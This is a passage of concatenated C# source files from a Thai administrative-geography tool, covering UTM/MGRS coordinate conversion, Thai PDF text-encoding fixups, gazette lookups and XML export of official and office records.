}
}
}
}
return RetVal;
}
#endregion
#region ICloneable Members
public object Clone()
{
return new ConstituencyEntry(this);
}
#endregion
}
}
<file_sep>/AHTambon/EntityLeaderList.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class EntityLeaderList : List<EntityLeader>, ICloneable
{
#region constructor
public EntityLeaderList()
{
}
public EntityLeaderList(EntityLeaderList iValue)
{
foreach (EntityLeader lLeader in iValue)
{
this.Add((EntityLeader)lLeader.Clone());
}
}
#endregion
#region properties
public String Source { get; set; }
#endregion
#region methods
public void ExportToXML(XmlElement iNode)
{
XmlDocument lXmlDocument = TambonHelper.XmlDocumentFromNode(iNode);
var lNewElement = (XmlElement)lXmlDocument.CreateNode("element", "officials", "");
if (!String.IsNullOrEmpty(Source))
{
lNewElement.SetAttribute("source", Source);
}
iNode.AppendChild(lNewElement);
foreach (EntityLeader lEntry in this)
{
lEntry.ExportToXML(lNewElement);
}
}
public static EntityLeaderList Load(XmlNode iNode)
{
EntityLeaderList RetVal = null;
if (iNode != null && iNode.Name.Equals("officials"))
{
RetVal = new EntityLeaderList();
RetVal.Source = TambonHelper.GetAttributeOptionalString(iNode, "source");
if (iNode.HasChildNodes)
{
foreach (XmlNode lChildNode in iNode.ChildNodes)
{
EntityLeader lCurrent = EntityLeader.Load(lChildNode);
if (lCurrent != null)
{
RetVal.Add(lCurrent);
}
}
}
}
return RetVal;
}
#endregion
#region ICloneable Members
public object Clone()
{
return new EntityLeaderList(this);
}
#endregion
}
}
<file_sep>/AHGeo/UTMPoint.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Geo
{
public class UtmPoint : ICloneable, IEquatable<UtmPoint>
{
public const Int16 MaximumDigits = 7;
public const Int16 MinimumDigits = 2;
#region properties
public Int32 Northing { get; set; }
public Int32 Easting { get; set; }
public Int32 ZoneNumber { get; set; }
// public char ZoneBand { get; set; }
public Boolean IsNorthernHemisphere { get; set; }
#endregion
#region constructor
public UtmPoint()
{
}
public UtmPoint(String value)
{
Assign(ParseUtmString(value));
}
public UtmPoint(UtmPoint value)
{
Assign(value);
}
public UtmPoint(Int32 easting, Int32 northing, Int32 zoneNumber, Boolean isNorthernHemisphere)
{
Northing = northing;
Easting = easting;
ZoneNumber = zoneNumber;
IsNorthernHemisphere = isNorthernHemisphere;
}
public UtmPoint(Double easting, Double northing, Int32 zoneNumber, Boolean isNorthernHemisphere)
{
Northing = Convert.ToInt32(Math.Round(northing));
Easting = Convert.ToInt32(Math.Round(easting));
ZoneNumber = zoneNumber;
IsNorthernHemisphere = isNorthernHemisphere;
}
#endregion
#region constants
private const String _ZoneCharacters = "CDEFGHJKLMNPQRSTUVWX";
#endregion
#region methods
public char ZoneBand()
{
char zoneChar = ZoneBand(this.Northing, this.IsNorthernHemisphere);
return zoneChar;
}
static char ZoneBand(Int32 northing, bool isNorthernHemisphere)
{
UtmPoint tempPoint = new UtmPoint(0, northing, 1, isNorthernHemisphere);
GeoPoint geoPoint = new GeoPoint(tempPoint, GeoDatum.DatumWGS84());
char zoneChar = UtmLetterDesignator(geoPoint.Latitude);
return zoneChar;
}
public String ToUtmString(Int16 digits)
{
Int16 actualDigits = MakeDigitValid(digits);
String northing = Northing.ToString("0000000");
String easting = Easting.ToString("0000000");
easting = easting.Substring(0, actualDigits);
northing = northing.Substring(0, actualDigits);
String result = ZoneNumber.ToString("00") + ZoneBand() + ' ' + easting + ' ' + northing;
return result;
}
static public Int16 MakeDigitValid(Int16 digits)
{
Int16 result = Math.Min(MaximumDigits, Math.Max(MinimumDigits, digits));
return result;
}
public String ToMgrsString(Int16 digits)
{
String result = String.Empty;
Int16 actualDigits = MakeDigitValid(digits);
String northing = Northing.ToString("0000000");
String easting = Easting.ToString("0000000");
String eastingLetters = MgrsEastingChars(ZoneNumber);
Int32 eastingIdentifier = Convert.ToInt32(easting.Substring(0, 2)) % 8;
if ( eastingIdentifier != 0 )
{
String eastingChar = eastingLetters.Substring(eastingIdentifier - 1, 1);
Int32 northingIdentifier = Convert.ToInt32(northing.Substring(0, 1));
northingIdentifier = (northingIdentifier % 2) * 10;
northingIdentifier = northingIdentifier + Convert.ToInt32(northing.Substring(1, 1));
String northingLetters = MgrsNorthingChars(ZoneNumber);
String northingChar = northingLetters.Substring(northingIdentifier, 1);
result =
ZoneNumber.ToString("00") +
ZoneBand() + ' ' +
eastingChar + northingChar + ' ' +
easting.Substring(2, actualDigits - 2) +
northing.Substring(2, actualDigits - 2);
}
return result;
}
public static UtmPoint ParseUtmString(String value)
{
String actualValue = value.ToUpperInvariant().Replace(" ", "");
String zone = actualValue.Substring(0, 3);
String numbers = actualValue.Remove(0, 3);
Int32 digits = numbers.Length / 2;
String eastingString = numbers.Substring(0, digits).PadRight(7, '0');
String northingString = numbers.Substring(digits, digits).PadRight(7, '0');
Int32 zoneNumber = Convert.ToInt32(zone.Substring(0, 2));
Char zoneLetter = zone[2];
Int32 northing = Convert.ToInt32(northingString);
Int32 easting = Convert.ToInt32(eastingString);
UtmPoint result = new UtmPoint(easting, northing, zoneNumber, MinNorthing(zoneLetter) >= 0);
return result;
}
public static UtmPoint ParseMgrsString(String value)
{
String actualValue = value.ToUpperInvariant().Replace(" ", "");
String zone = actualValue.Substring(0, 3);
String eastingChar = actualValue.Substring(3, 1);
String northingChar = actualValue.Substring(4, 1);
String numbers = actualValue.Remove(0, 5);
Int32 digits = numbers.Length / 2;
String eastingString = numbers.Substring(0, digits).PadRight(5, '0');
String northingString = numbers.Substring(digits, digits).PadRight(5, '0');
Int32 zoneNumber = Convert.ToInt16(zone.Substring(0, 2));
Char zoneLetter = zone[2];
String eastingLetters = MgrsEastingChars(zoneNumber);
Int32 eastingNumber = eastingLetters.IndexOf(eastingChar) + 1;
eastingString = eastingNumber.ToString("00") + eastingString;
String northingLetters = MgrsNorthingChars(zoneNumber);
Int32 northingNumber = northingLetters.IndexOf(northingChar);
Int32 minimumNorthing = MinNorthing(zoneLetter);
Int32 temporaryNorthing = (minimumNorthing / 2000000) * 2000000 + northingNumber * 100000;
if ( ZoneBand(temporaryNorthing, zoneLetter >= 'N') != zoneLetter )
{
temporaryNorthing = temporaryNorthing + 2000000;
}
Int32 northing = temporaryNorthing + Convert.ToInt32(northingString);
Int32 easting = Convert.ToInt32(eastingString);
UtmPoint result = new UtmPoint(easting, northing, zoneNumber, zoneLetter >= 'N');
return result;
}
public static String MgrsNorthingChars(Int32 zoneNumber)
{
String northingLetters = String.Empty;
switch ( zoneNumber % 2 )
{
case 0:
northingLetters = "FGHJKLMNPQRSTUVABCDE";
break;
case 1:
northingLetters = "ABCDEFGHJKLMNPQRSTUV";
break;
}
return northingLetters;
}
private static String MgrsEastingChars(Int32 zoneNumber)
{
String eastingLetters = String.Empty;
switch ( zoneNumber % 3 )
{
case 0:
eastingLetters = "STUVWXYZ";
break;
case 1:
eastingLetters = "ABCDEFGH";
break;
case 2:
eastingLetters = "JKLMNPQR";
break;
}
return eastingLetters;
}
private static Int32 MinNorthing(Char zoneChar)
{
switch ( zoneChar )
{
case 'C':
return 1100000;
case 'D':
return 2000000;
case 'E':
return 2800000;
case 'F':
return 3700000;
case 'G':
return 4600000;
case 'H':
return 5500000;
case 'J':
return 6400000;
case 'K':
return 7300000;
case 'L':
return 8200000;
case 'M':
return 9100000;
case 'N':
return 0;
case 'P':
return 800000;
case 'Q':
return 1700000;
case 'R':
return 2600000;
case 'S':
return 3500000;
case 'T':
return 4400000;
case 'U':
return 5300000;
case 'V':
return 6200000;
case 'W':
return 7000000;
case 'X':
return 7900000;
}
throw new ArgumentOutOfRangeException(zoneChar.ToString() + " is invalid UTM zone letter");
}
private static Int32 UtmZoneToLatitude(Char zoneChar)
{
Int32 index = _ZoneCharacters.IndexOf(zoneChar);
Int32 zoneBottom = -80 + 8 * index;
return zoneBottom;
}
private static char UtmLetterDesignator(Double latitude)
{
Char letter;
if ( latitude < 84.0 && latitude >= 72.0 )
{
// Special case: zone X is 12 degrees from north to south, not 8.
letter = _ZoneCharacters[19];
}
else
{
letter = _ZoneCharacters[(int)((latitude + 80.0) / 8.0)];
}
return letter;
}
private void Assign(UtmPoint value)
{
Northing = value.Northing;
Easting = value.Easting;
ZoneNumber = value.ZoneNumber;
IsNorthernHemisphere = value.IsNorthernHemisphere;
}
public override string ToString()
{
String result = ToUtmString(MaximumDigits);
return result;
}
#endregion
#region ICloneable Members
public object Clone()
{
return new UtmPoint(this);
}
#endregion
#region IEquatable Members
public bool Equals(UtmPoint value)
{
bool lResult = (value.Northing == this.Northing);
lResult = lResult & (value.Easting == this.Easting);
lResult = lResult & (value.ZoneNumber == this.ZoneNumber);
lResult = lResult & (value.IsNorthernHemisphere == this.IsNorthernHemisphere);
return lResult;
}
#endregion
}
}
<file_sep>/TambonMain/HistoryCreate.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class HistoryCreate
{
#region fixup serialization
public Boolean ShouldSerializesplitfrom()
{
return splitfrom.Any();
}
#endregion fixup serialization
}
}<file_sep>/TambonMain/OfficialOrVacancyEntry.cs
using System;
namespace De.AHoerstemeier.Tambon
{
public partial class OfficialOrVacancyEntry
{
/// <summary>
/// Gets a timestamp for the current entry.
/// </summary>
public DateTime TimeStamp
{
get { return GetTimeStamp(); }
}
/// <summary>
/// Calculates a timestamp for the current term or vacancy.
/// </summary>
/// <returns>Timestamp.</returns>
protected virtual DateTime GetTimeStamp()
{
var result = DateTime.MinValue;
if (beginSpecified)
{
result = begin;
}
else if (!String.IsNullOrEmpty(beginyear))
{
result = new DateTime(Convert.ToInt32(beginyear), 1, 1);
}
else if (endSpecified)
{
result = end;
}
else if (!String.IsNullOrEmpty(endyear))
{
result = new DateTime(Convert.ToInt32(endyear), 1, 1);
}
return result;
}
}
}
<file_sep>/NumeralsHelper.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class NumeralsTambonHelper : Form
{
public NumeralsTambonHelper()
{
InitializeComponent();
}
private void btnDoConvert_Click(object sender, EventArgs e)
{
String value = boxText.Text;
value = TambonHelper.ReplaceThaiNumerals(value);
boxText.Text = value;
}
private Dictionary<String, String> _MacPDFFixupSoSuea = new Dictionary<string, string>()
{
{" ะ","สะ"},
{" "+Convert.ToChar(0x0E31),"ส"+Convert.ToChar(0x0E31)}, // อั
{" า","สา"},
{" "+Convert.ToChar(0x0E33),"ส"+Convert.ToChar(0x0E33)}, // อำ
{" "+Convert.ToChar(0x0E34),"ส"+Convert.ToChar(0x0E34)}, // อิ
{" "+Convert.ToChar(0x0E35),"ส"+Convert.ToChar(0x0E35)}, // อี
{" "+Convert.ToChar(0x0E36),"ส"+Convert.ToChar(0x0E36)}, // อึ
{" "+Convert.ToChar(0x0E37),"ส"+Convert.ToChar(0x0E37)}, // อื
{" "+Convert.ToChar(0x0E38),"ส"+Convert.ToChar(0x0E38)}, // อุ
{" "+Convert.ToChar(0x0E39),"ส"+Convert.ToChar(0x0E39)}, // อู
{"เ ","เส"},
{"แ ","แส"},
{"โ ","โส"},
{"ใ ","ใส"},
{"ไ ","ไส"},
// tone marks
{" "+Convert.ToChar(0x0E47),"ส"+Convert.ToChar(0x0E47)}, // อ็
{" "+Convert.ToChar(0x0E48),"ส"+Convert.ToChar(0x0E48)}, // อ่
{" "+Convert.ToChar(0x0E49),"ส"+Convert.ToChar(0x0E49)}, // อ้
{" "+Convert.ToChar(0x0E4A),"ส"+Convert.ToChar(0x0E4A)}, // อ๊
{" "+Convert.ToChar(0x0E4B),"ส"+Convert.ToChar(0x0E4B)}, // อ๋
{" "+Convert.ToChar(0x0E4C),"ส"+Convert.ToChar(0x0E4C)} // อ์
};
private Dictionary<Char, Char> _BrokenPDFEncoding = new Dictionary<Char, Char>()
{
{Convert.ToChar(0xF702),Convert.ToChar(0x0E35)}, // อี
{Convert.ToChar(0xF705),Convert.ToChar(0x0E48)}, // อ่
{Convert.ToChar(0xF706),Convert.ToChar(0x0E49)}, // อ้
{Convert.ToChar(0xF708),Convert.ToChar(0x0E4B)}, // อ๋
{Convert.ToChar(0xF70A),Convert.ToChar(0x0E48)}, // อ่
{Convert.ToChar(0xF70B),Convert.ToChar(0x0E49)}, // อ้
{Convert.ToChar(0xF70C),Convert.ToChar(0x0E4A)}, // อ๊
{Convert.ToChar(0xF70E),Convert.ToChar(0x0E4C)}, // อ์
{Convert.ToChar(0xF710),Convert.ToChar(0x0E31)}, // อั
{Convert.ToChar(0xF712),Convert.ToChar(0x0E47)}, // อ็
{Convert.ToChar(0xF713),Convert.ToChar(0x0E48)} // อ่
};
private Dictionary<Char, Char> _MacPDFEncoding = new Dictionary<Char, Char>()
{
// Letters: กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮ
{'°','ก'},
{'¢','ข'},
// ฃ
{'§','ค'},
// ฅ
{'¶','ฆ'},
{'ß','ง'},
{'®','จ'},
{'©','ฉ'},
{'™','ช'},
{'´','ซ'},
// ฌ
{'≠','ญ'},
{'Æ','ฎ'},
{'Ø','ฏ'},
{'∞','ฐ'},
{'±','ฑ'},
{'≤','ฒ'},
{'≥','ณ'},
{'¥','ด'},
{'μ','ต'},
{'∂','ถ'},
{'Σ','ท'},
{'Π','ธ'},
{'π','น'},
{'∫','บ'},
{'ª','ป'},
{'º','ผ'},
{'Ω','ฝ'},
{'æ','พ'},
{'ø','ฟ'},
{'¿','ภ'},
{'¡','ม'},
{'¬','ย'},
{'√','ร'},
{'ƒ','ฤ'},
{'≈','ล'},
// ฦ
{'«','ว'},
{'»','ศ'},
{'…','ษ'},
{Convert.ToChar(0x00A0),'ส'}, // This one becomes 0x20 when copying it via clipboard
{'À','ห'},
{'Ã','ฬ'},
{'Õ','อ'},
{'Œ','ฮ'}, // actually it becomes OE with clipboard
// vocals
{'–','ะ'},
{'—',Convert.ToChar(0x0E31)}, // อั
{'í',Convert.ToChar(0x0E31)}, // อั (yes, again)
{'“','า'},
{'”',Convert.ToChar(0x0E33)}, // อำ
{'‘',Convert.ToChar(0x0E34)}, // อิ
{'î',Convert.ToChar(0x0E34)}, // อิ (yes, again)
{'’',Convert.ToChar(0x0E35)}, // อี
{'ï',Convert.ToChar(0x0E35)}, // อี (yes, again)
{'÷',Convert.ToChar(0x0E36)}, // อึ
{'ñ',Convert.ToChar(0x0E36)}, // อึ (yes, again)
{'◊',Convert.ToChar(0x0E37)}, // อื
{'ó',Convert.ToChar(0x0E37)}, // อื
{'ÿ',Convert.ToChar(0x0E38)}, // อุ
{'Ÿ',Convert.ToChar(0x0E39)}, // อู
{'‡','เ'},
{'·','แ'},
{'‚','โ'},
{'„','ใ'},
{'‰','ไ'},
// tone marks
{'ì',Convert.ToChar(0x0E47)}, // อ็
{'Á',Convert.ToChar(0x0E47)}, //็ อ็ (yes, again)
{'Ë',Convert.ToChar(0x0E48)}, // อ่
{'à',Convert.ToChar(0x0E48)}, // อ่ (yes, again)
{'É',Convert.ToChar(0x0E48)}, // อ่ (yes, again)
{'ò',Convert.ToChar(0x0E48)}, // อ่ (yes, again)
{'È',Convert.ToChar(0x0E49)}, // อ้
{'ô',Convert.ToChar(0x0E49)}, // อ้ (yes, again)
{'â',Convert.ToChar(0x0E49)}, // อ้ (yes, again)
{'Ñ',Convert.ToChar(0x0E49)}, // อ้ (yes, again)
{'ä',Convert.ToChar(0x0E4A)}, // อ๊
{'Ö',Convert.ToChar(0x0E4A)}, // อ๊ (yes, again)
{'Í',Convert.ToChar(0x0E4A)}, // อ๊ (yes, again)
{'Ü',Convert.ToChar(0x0E4B)}, // อ๋
{'ã',Convert.ToChar(0x0E4B)}, // อ๋ (yes, again)
{'Î',Convert.ToChar(0x0E4B)}, // อ๋ (yes, again)
{'õ',Convert.ToChar(0x0E4B)}, // อ๋ (yes, again)
{'å',Convert.ToChar(0x0E4C)}, // อ์
{'Ï',Convert.ToChar(0x0E4C)}, // อ์ (yes, again)
{'á',Convert.ToChar(0x0E4C)}, // อ์ (yes, again)
// numerals
{'','๐'},
{'Ò','๑'},
{'Ú','๒'},
{'Û','๓'},
{'Ù','๔'},
{'ı','๕'},
{'ˆ','๖'},
{'˜','๗'},
{'¯','๘'},
{'˘','๙'},
// special characters
{'Ê','ๆ'},
// non-Thai characters
{'ç','“'},
{'é','”'}
};
private void btnEncoding_Click(object sender, EventArgs e)
{
StringBuilder value = new StringBuilder(boxText.Text);
foreach (KeyValuePair<Char, Char> lKeyValuePair in _MacPDFEncoding)
{
value = value.Replace(lKeyValuePair.Key,lKeyValuePair.Value);
}
value = value.Replace("OE", "ฮ");
foreach (KeyValuePair<String,String> lKeyValuePair in _MacPDFFixupSoSuea)
{
value = value.Replace(lKeyValuePair.Key, lKeyValuePair.Value);
}
foreach (KeyValuePair<Char, Char> lKeyValuePair in _BrokenPDFEncoding)
{
value = value.Replace(lKeyValuePair.Key, lKeyValuePair.Value);
}
boxText.Text = value.ToString();
}
private void btnMonths_Click(object sender, EventArgs e)
{
StringBuilder value = new StringBuilder(boxText.Text);
foreach (KeyValuePair<String,Byte> monthNameThai in TambonHelper.ThaiMonthNames)
{
DateTime month = new DateTime(2000, monthNameThai.Value, 1);
String monthNameLocal = month.ToString("MMMM");
value = value.Replace(monthNameThai.Key,monthNameLocal);
}
foreach (KeyValuePair<String, Byte> monthAbbreviation in TambonHelper.ThaiMonthAbbreviations)
{
DateTime month = new DateTime(2000, monthAbbreviation.Value, 1);
String monthNameLocal = month.ToString("MMMM");
value = value.Replace(monthAbbreviation.Key, monthNameLocal);
}
foreach (var subString in value.ToString().Split(new String[] {" ", Environment.NewLine, "\t"},StringSplitOptions.None))
{
if (TambonHelper.IsNumeric(subString))
{
Int64 number = Convert.ToInt64(subString);
if ((number > 2400) && (number < 2600))
{
number -= 543;
value.Replace(subString, number.ToString());
}
}
}
boxText.Text = value.ToString();
}
private void btnTitles_Click(object sender, EventArgs e)
{
StringBuilder value = new StringBuilder(boxText.Text);
foreach (KeyValuePair<String, PersonTitle> lKeyValuePair in TambonHelper.PersonTitleStrings)
{
value = value.Replace(lKeyValuePair.Key, lKeyValuePair.Value.ToString()+" ");
}
boxText.Text = value.ToString();
}
private void btnInvert_Click(object sender, EventArgs e)
{
String value = boxText.Text;
StringBuilder builder = new StringBuilder();
foreach (String subString in value.Split('\n'))
{
builder.Insert(0, subString+'\n');
};
boxText.Text = builder.ToString();
}
}
}
<file_sep>/AHTambon/BoardMeetingTopic.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class BoardMeetingTopic
{
public DateTime Effective { get; set; }
public RoyalGazette Gazette { get; set; }
public RoyalGazetteContent Topic { get; set; }
public EntityType Type { get; set; }
public TimeSpan TimeTillPublish()
{
TimeSpan RetVal = new TimeSpan(0);
if (Gazette != null)
{
RetVal = Gazette.Publication - Effective;
}
return RetVal;
}
public void FindGazette()
{
foreach (RoyalGazette lGazette in TambonHelper.GlobalGazetteList)
{
foreach (RoyalGazetteContent lGazetteContent in lGazette.Content)
{
Boolean lFitting = false;
if (Topic.GetType() == typeof(RoyalGazetteContentStatus))
{
if (lGazetteContent.GetType() == typeof(RoyalGazetteContentConstituency))
{
lFitting = (Type == ((RoyalGazetteContentConstituency)lGazetteContent).Type);
}
}
// if (this.GetType() == typeof(RoyalGazetteContentRename))
// {
// lFitting = (lGazetteContent.GetType() == typeof(RoyalGazetteContentRename));
// }
if (lFitting)
{
if (Topic.Geocode != 0)
{
if (lGazetteContent.IsAboutGeocode(Topic.Geocode, false))
{
Gazette = lGazette;
}
}
if (Topic.TambonGeocode != 0)
{
if (lGazetteContent.IsAboutGeocode(Topic.TambonGeocode, false))
{
Gazette = lGazette;
}
}
}
}
}
}
}
}
<file_sep>/GeoCoordinateForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.Xml;
using De.AHoerstemeier.Geo;
namespace De.AHoerstemeier.Tambon
{
public partial class GeoCoordinateForm : Form
{
private Boolean _Changing = false;
private GeoPoint _Point = null;
public GeoCoordinateForm()
{
InitializeComponent();
}
private String ZoneForThailandMgrs(String value)
{
Int32 zone = 0;
Char eastingChar = value[0];
if ( (eastingChar >= 'A') && (eastingChar <= 'H') )
{
zone = 49;
}
else if ( (eastingChar >= 'J') && (eastingChar <= 'R') )
{
zone = 47;
}
else if ( (eastingChar >= 'S') && (eastingChar <= 'Z') )
{
zone = 48;
}
Char northingChar = value[1];
String northingCharacters = UtmPoint.MgrsNorthingChars(zone);
Int32 northingCount = northingCharacters.IndexOf(northingChar);
Char zoneChar;
if ( (northingCount > 17) | (northingCount == 0) )
{
zoneChar = 'Q';
}
else if ( northingCount > 8 )
{
zoneChar = 'P';
}
else
{
zoneChar = 'N';
}
String result = zone.ToString() + zoneChar;
return result;
}
private void GeoCoordinateForm_Load(object sender, EventArgs e)
{
cbx_datum.Items.Add(GeoDatum.DatumWGS84());
cbx_datum.SelectedIndex = 0;
cbx_datum.Items.Add(GeoDatum.DatumIndian1975());
cbx_datum.Items.Add(GeoDatum.DatumIndian1954());
}
private void SetValues(GeoPoint geoPoint, UtmPoint utmPoint, object sender)
{
if ( sender != edt_LatLong )
{
if ( geoPoint == null )
{
edt_LatLong.Text = String.Empty;
}
else
{
edt_LatLong.Text = geoPoint.ToString();
}
}
if ( sender != edt_geohash )
{
if ( geoPoint == null )
{
edt_geohash.Text = String.Empty;
}
else
{
edt_geohash.Text = geoPoint.GeoHash;
}
}
if ( sender != edt_UTM )
{
if ( utmPoint == null )
{
edt_UTM.Text = String.Empty;
}
else
{
edt_UTM.Text = utmPoint.ToString();
}
}
if ( sender != edt_MGRS )
{
if ( utmPoint == null )
{
edt_MGRS.Text = String.Empty;
}
else
{
edt_MGRS.Text = utmPoint.ToMgrsString(6);
}
}
_Point = geoPoint;
btnFlyTo.Enabled = (_Point != null);
lbl_L7018Value.Text = "Not available";
if ( geoPoint != null )
{
try
{
var sheet = RtsdMapIndex.IndexL7018(geoPoint);
if ( sheet != null )
{
lbl_L7018Value.Text = sheet.Name;
}
}
catch ( ArgumentOutOfRangeException )
{
}
}
}
private void edit_MGRS_TextChanged(object sender, EventArgs e)
{
if ( !_Changing )
{
String value = TambonHelper.ReplaceThaiNumerals(edt_MGRS.Text.ToUpper()).Trim();
GeoPoint geoPoint = null;
UtmPoint utmPoint = null;
try
{
_Changing = true;
if ( !TambonHelper.IsNumeric(value.Substring(0, 2)) )
{
value = ZoneForThailandMgrs(value) + value;
}
utmPoint = UtmPoint.ParseMgrsString(value);
geoPoint = new GeoPoint(utmPoint, (GeoDatum)cbx_datum.SelectedItem);
geoPoint.Datum = GeoDatum.DatumWGS84();
}
catch
{
// invalid string
utmPoint = null;
geoPoint = null;
}
SetValues(geoPoint, utmPoint, sender);
_Changing = false;
}
}
private void edit_UTM_TextChanged(object sender, EventArgs e)
{
if ( !_Changing )
{
String value = TambonHelper.ReplaceThaiNumerals(edt_UTM.Text.ToUpper()).Replace(",", "").Trim();
GeoPoint geoPoint = null;
UtmPoint utmPoint = null;
try
{
_Changing = true;
utmPoint = UtmPoint.ParseUtmString(value);
geoPoint = new GeoPoint(utmPoint, (GeoDatum)cbx_datum.SelectedItem);
geoPoint.Datum = GeoDatum.DatumWGS84();
}
catch
{
// invalid string
utmPoint = null;
geoPoint = null;
}
SetValues(geoPoint, utmPoint, sender);
_Changing = false;
}
}
private void edt_geohash_TextChanged(object sender, EventArgs e)
{
if ( !_Changing )
{
GeoPoint geoPoint = null;
UtmPoint utmPoint = null;
try
{
_Changing = true;
geoPoint = new GeoPoint();
geoPoint.GeoHash = edt_geohash.Text;
GeoPoint lGeoOtherDatum = new GeoPoint(geoPoint);
lGeoOtherDatum.Datum = (GeoDatum)cbx_datum.SelectedItem;
utmPoint = lGeoOtherDatum.CalcUTM();
}
catch
{
// invalid string
utmPoint = null;
geoPoint = null;
}
SetValues(geoPoint, utmPoint, sender);
_Changing = false;
}
}
private void edt_LatLong_TextChanged(object sender, EventArgs e)
{
if ( !_Changing )
{
GeoPoint geoPoint = null;
UtmPoint utmPoint = null;
try
{
_Changing = true;
geoPoint = new GeoPoint(edt_LatLong.Text);
geoPoint.Datum = (GeoDatum)cbx_datum.SelectedItem;
GeoPoint lGeoOtherDatum = new GeoPoint(geoPoint);
lGeoOtherDatum.Datum = (GeoDatum)cbx_datum.SelectedItem;
utmPoint = lGeoOtherDatum.CalcUTM();
}
catch
{
// invalid string
geoPoint = null;
utmPoint = null;
}
SetValues(geoPoint, utmPoint, sender);
_Changing = false;
}
}
private void btnFlyTo_Click(object sender, EventArgs e)
{
//try
//{
// var googleEarth = new ApplicationGEClass();
// String tempKmlFile = System.IO.Path.GetTempPath() + Guid.NewGuid().ToString() + ".kml";
// KmlHelper kmlWriter = new KmlHelper();
// kmlWriter.AddPoint(_Point.Latitude, _Point.Longitude, "Temporary location", "", "", "");
// kmlWriter.SaveToFile(tempKmlFile);
// while ( googleEarth.IsInitialized() == 0 )
// {
// Thread.Sleep(500);
// }
// googleEarth.OpenKmlFile(tempKmlFile, 0);
//}
//catch ( Exception ex )
//{
// MessageBox.Show(ex.ToString());
//}
}
}
}<file_sep>/AHTambon/EntityOffice.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
using De.AHoerstemeier.Geo;
namespace De.AHoerstemeier.Tambon
{
public class EntityOffice : ICloneable
{
#region variables
private static Dictionary<OfficeType, String> OfficeKmlStyles = new Dictionary<OfficeType, String>()
{
{OfficeType.ProvinceHall, "http://maps.google.com/mapfiles/kml/paddle/blu-blank.png"},
{OfficeType.PAOOffice, "http://maps.google.com/mapfiles/kml/paddle/red-blank.png"},
{OfficeType.DistrictOffice, "http://maps.google.com/mapfiles/kml/paddle/grn-blank.png"},
{OfficeType.MunicipalityOffice, "http://maps.google.com/mapfiles/kml/paddle/ylw-blank.png"},
{OfficeType.TAOOffice, "http://maps.google.com/mapfiles/kml/paddle/wht-blank.png"},
{OfficeType.VillageHeadmanOffice, "http://maps.google.com/mapfiles/kml/paddle/pink-blank.png"},
{OfficeType.SubdistrictHeadmanOffice, "http://maps.google.com/mapfiles/kml/paddle/pink-blank.png"},
{OfficeType.DistrictMuseum, "http://maps.google.com/mapfiles/kml/shapes/museum.png"}
};
private static Dictionary<OfficeType, String> OfficeNameEnglish = new Dictionary<OfficeType, String>()
{
{OfficeType.ProvinceHall, "Province hall"},
{OfficeType.PAOOffice, "PAO office"},
{OfficeType.DistrictOffice, "District office"},
{OfficeType.MunicipalityOffice, "Municipality office"},
{OfficeType.TAOOffice, "TAO office"},
{OfficeType.VillageHeadmanOffice, "Village headman office"},
{OfficeType.ChumchonOffice,"Chumchon office"},
{OfficeType.SubdistrictHeadmanOffice,"Subdistrict headman office"},
{OfficeType.DistrictMuseum,"District museum"}
};
#endregion
#region properties
private EntityLeaderList mOfficialsList = new EntityLeaderList();
public EntityLeaderList OfficialsList
{
get { return mOfficialsList; }
set { mOfficialsList = value; }
}
private ThaiAddress mAddress = null;
public ThaiAddress Address
{
get { return mAddress; }
set { mAddress = value; }
}
private List<Uri> mWebsites = new List<Uri>();
public List<Uri> Websites
{
get { return mWebsites; }
}
private OfficeType mType = OfficeType.Unknown;
public OfficeType Type
{
get { return mType; }
set { mType = value; }
}
private GeoPoint mLocation = null;
public GeoPoint Location
{
get { return mLocation; }
set { mLocation = value; }
}
#endregion
#region constructor
public EntityOffice()
{
}
public EntityOffice(EntityOffice iValue)
{
if (iValue.OfficialsList != null)
{
OfficialsList = (EntityLeaderList)iValue.OfficialsList.Clone();
}
if (iValue.Location != null)
{
Location = (GeoPoint)iValue.Location.Clone();
}
if (iValue.Address != null)
{
Address = (ThaiAddress)iValue.Address.Clone();
}
foreach (Uri lUri in iValue.Websites)
{
Websites.Add(lUri);
}
Type = iValue.Type;
}
#endregion
#region methods
internal virtual void WriteToXMLNode(XmlElement iNode)
{
iNode.SetAttribute("type", Type.ToString());
if (Location != null)
{
Location.ExportToXML(iNode);
}
if (Address != null)
{
Address.ExportToXML(iNode);
}
XmlDocument lXmlDocument = TambonHelper.XmlDocumentFromNode(iNode);
foreach (Uri lUri in Websites)
{
var lNewElement = (XmlElement)lXmlDocument.CreateNode("element", "url", "");
lNewElement.InnerText = lUri.ToString();
iNode.AppendChild(lNewElement);
}
if (OfficialsList != null)
{
OfficialsList.ExportToXML(iNode);
}
}
public void ExportToXML(XmlNode iNode)
{
XmlDocument lXmlDocument = TambonHelper.XmlDocumentFromNode(iNode);
var lNewElement = (XmlElement)lXmlDocument.CreateNode("element", "office", "");
iNode.AppendChild(lNewElement);
WriteToXMLNode(lNewElement);
}
internal static EntityOffice Load(XmlNode iNode)
{
EntityOffice RetVal = null;
if (iNode != null && iNode.Name.Equals("office"))
{
RetVal = new EntityOffice();
string s = TambonHelper.GetAttributeOptionalString(iNode, "type");
if (!String.IsNullOrEmpty(s))
{
RetVal.Type = (OfficeType)Enum.Parse(typeof(OfficeType), s);
}
if (iNode.HasChildNodes)
{
foreach (XmlNode lChildNode in iNode.ChildNodes)
{
if (lChildNode.Name == "officials")
{
EntityLeaderList lOfficials = EntityLeaderList.Load(lChildNode);
RetVal.OfficialsList=lOfficials;
}
if (lChildNode.Name == "url")
{
RetVal.Websites.Add(new Uri(lChildNode.InnerText));
}
if (lChildNode.Name == "address")
{
